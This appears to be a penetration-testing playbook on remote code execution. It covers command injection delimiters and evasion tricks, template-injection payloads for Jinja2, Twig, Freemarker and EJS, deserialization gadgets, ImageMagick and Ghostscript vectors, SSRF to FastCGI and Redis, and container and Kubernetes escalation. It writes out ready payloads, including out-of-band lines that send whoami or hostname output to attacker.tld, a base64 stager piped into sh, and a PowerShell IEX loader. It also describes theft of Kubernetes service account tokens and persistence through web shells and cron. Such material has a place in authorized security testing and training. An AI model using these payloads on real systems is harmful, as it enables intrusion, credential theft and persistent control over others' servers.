RCE

Remote code execution leads to full server control when input reaches code execution primitives: OS command wrappers, dynamic evaluators, template engines, deserializers, media pipelines, and build/runtime tooling. Focus on quiet, portable oracles and chain to stable shells only when needed.

Attack Surface

Command Execution

• OS command execution via wrappers (shells, system utilities, CLIs)

Dynamic Evaluation

• Template engines, expression languages, eval/vm

Deserialization

• Insecure deserialization and gadget chains across languages

Media Pipelines

• ImageMagick, Ghostscript, ExifTool, LaTeX, ffmpeg

SSRF Chains

• Internal services exposing execution primitives (FastCGI, Redis)

Container Escalation

• App RCE to node/cluster compromise via Docker/Kubernetes

Detection Channels

Time-Based

Unix

• ;sleep 1, `sleep 1`, || sleep 1
• Gate delays with short subcommands to reduce noise

Windows

• CMD: & timeout /t 2 &, ping -n 2 127.0.0.1
• PowerShell: Start-Sleep -s 2

OAST

DNS

nslookup $(whoami).x.attacker.tld

HTTP

curl https://attacker.tld/$(hostname)

Output-Based

Direct

;id;uname -a;whoami

Encoded

;(id;hostname)|base64

Key Vulnerabilities

Command Injection

Delimiters and Operators

• Unix: ; | || & && cmd $(cmd) $() ${IFS} newline/tab
• Windows: & | || ^

Argument Injection

• Inject flags/filenames into CLI arguments (e.g., --output=/tmp/x, --config=)
• Break out of quoted segments by alternating quotes and escapes
• Environment expansion: $PATH, ${HOME}, command substitution
• Windows: %TEMP%, !VAR!, PowerShell $(...)

Path and Builtin Confusion

• Force absolute paths (/usr/bin/id) vs relying on PATH
• Use builtins or alternative tools (printf, getent) when id is filtered
• Use sh -c or cmd /c wrappers to reach the shell

Evasion

• Whitespace/IFS: ${IFS}, $'\t', <
• Token splitting: w'h'o'a'm'i, w"h"o"a"m"i
• Variable building: a=i;b=d; $a$b
• Base64 stagers: echo payload | base64 -d | sh
• PowerShell: IEX([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...)))

Template Injection

Identify server-side template engines: Jinja2/Twig/Blade/Freemarker/Velocity/Thymeleaf/EJS/Handlebars/Pug

Minimal Probes

Jinja2: {{7*7}} → {{cycler.__init__.__globals__['os'].popen('id').read()}}
Twig: {{7*7}} → {{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}
Freemarker: ${7*7} → <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
EJS: <%= global.process.mainModule.require('child_process').execSync('id') %>

Deserialization and EL

Java

• Gadget chains via CommonsCollections/BeanUtils/Spring
• Tools: ysoserial
• JNDI/LDAP chains (Log4Shell-style) when lookups are reachable

.NET

• BinaryFormatter/DataContractSerializer
• APIs accepting untrusted ViewState without MAC

PHP

• unserialize() and PHAR metadata
• Autoloaded gadget chains in frameworks and plugins

Python/Ruby

• pickle, yaml.load/unsafe_load, Marshal
• Auto-deserialization in message queues/caches

Expression Languages

• OGNL/SpEL/MVEL/EL reaching Runtime/ProcessBuilder/exec

Media and Document Pipelines

ImageMagick/GraphicsMagick

• policy.xml may limit delegates; still test legacy vectors

push graphic-context
fill 'url(https://x.tld/a"|id>/tmp/o")'
pop graphic-context

Ghostscript

• PostScript in PDFs/PS: %pipe%id file operators

ExifTool

• Crafted metadata invoking external tools or library bugs

LaTeX

• \write18/--shell-escape, \input piping; pandoc filters

ffmpeg

• concat/protocol tricks mediated by compile-time flags

SSRF to RCE

FastCGI

• gopher:// to php-fpm (build FPM records to invoke system/exec)

Redis

• gopher:// write cron/authorized_keys or webroot
• Module load when allowed

Admin Interfaces

• Jenkins script console, Spark UI, Jupyter kernels reachable internally

Container and Kubernetes

Docker

• From app RCE, inspect /.dockerenv, /proc/1/cgroup
• Enumerate mounts and capabilities: capsh --print
• Abuses: mounted docker.sock, hostPath mounts, privileged containers
• Write to /proc/sys/kernel/core_pattern or mount host with --privileged

Kubernetes

• Steal service account token from /var/run/secrets/kubernetes.io/serviceaccount
• Query API for pods/secrets; enumerate RBAC
• Talk to kubelet on 10250/10255; exec into pods
• Escalate via privileged pods, hostPath mounts, or daemonsets

Bypass Techniques

Encoding Differentials

• URL encoding, Unicode normalization, comment insertion, mixed case
• Request smuggling to reach alternate parsers

Binary Alternatives

• Absolute paths and alternate binaries (busybox, sh, env)
• Windows variations (PowerShell vs CMD)
• Constrained language bypasses

Post-Exploitation

Privilege Escalation

• sudo -l; SUID binaries; capabilities (getcap -r / 2>/dev/null)

Persistence

• cron/systemd/user services; web shell behind auth
• Plugin hooks; supply chain in CI/CD

Lateral Movement

• SSH keys, cloud metadata credentials, internal service tokens

Testing Methodology

1. Identify sinks - Command wrappers, template rendering, deserialization, file converters, report generators, plugin hooks
2. Establish oracle - Timing, DNS/HTTP callbacks, or deterministic output diffs (length/ETag)
3. Confirm context - User, working directory, PATH, shell, SELinux/AppArmor, containerization
4. Map boundaries - Read/write locations, outbound egress
5. Progress to control - File write, scheduled execution, service restart hooks

Validation

1. Provide a minimal, reliable oracle (DNS/HTTP/timing) proving code execution
2. Show command context (uid, gid, cwd, env) and controlled output
3. Demonstrate persistence or file write under application constraints
4. If containerized, prove boundary crossing attempts (host files, kube APIs) and whether they succeed
5. Keep PoCs minimal and reproducible across runs and transports

False Positives

• Only crashes or timeouts without controlled behavior
• Filtered execution of a limited command subset with no attacker-controlled args
• Sandboxed interpreters executing in a restricted VM with no IO or process spawn
• Simulated outputs not derived from executed commands

Impact

• Remote system control under application user; potential privilege escalation to root
• Data theft, encryption/signing key compromise, supply-chain insertion, lateral movement
• Cluster compromise when combined with container/Kubernetes misconfigurations

Pro Tips

1. Prefer OAST oracles; avoid long sleeps—short gated delays reduce noise
2. When command injection is weak, pivot to file write or deserialization/SSTI paths
3. Treat converters/renderers as first-class sinks; many run out-of-process with powerful delegates
4. For Java/.NET, enumerate classpaths/assemblies and known gadgets; verify with out-of-band payloads
5. Confirm environment: PATH, shell, umask, SELinux/AppArmor, container caps
6. Keep payloads portable (POSIX/BusyBox/PowerShell) and minimize dependencies
7. Document the smallest exploit chain that proves durable impact; avoid unnecessary shell drops

Summary

RCE is a property of the execution boundary. Find the sink, establish a quiet oracle, and escalate to durable control only as far as necessary. Validate across transports and environments; defenses often differ per code path.